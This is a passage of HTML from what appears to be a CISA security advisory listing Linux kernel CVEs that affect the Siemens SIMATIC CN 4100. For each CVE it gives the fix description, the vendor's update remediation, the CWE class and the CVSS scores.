<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39675</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 ("drm/amd/display: Add null pointer check for get_first_active_display()"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39675">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39676</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39676">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/394.html">CWE-394 Unexpected Status Code or Return Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd ("x86/resctrl: Query LLC monitoring properties once during boot") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39682</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39682">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39683</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser-&gt;buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser-&gt;buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-&gt; ftrace_process_regex-&gt;strsep-&gt;strpbrk. We can solve this problem by limiting access to parser-&gt;buffer when trace_get_user failed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39683">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39684</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn-&gt;n` samples (each of which is an `unsigned int`). For some instruction types, `insn-&gt;n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn-&gt;n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn-&gt;n` is greater than 1, the remaining `insn-&gt;n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the "vm80xx" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39684">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39685</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it-&gt;options[1]` is 31, then `1 &lt;&lt; it-&gt;options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it-&gt;options[1]` value to 30 or lower, or using `1U &lt;&lt; it-&gt;options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39685">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39686</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn-&gt;n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn-&gt;n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn-&gt;n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn-&gt;n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn-&gt;n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39686">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39687</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39687">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39689</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39689">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39691</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--&gt; return will return to caller put_bh --&gt; trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39691">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39692</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39692">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
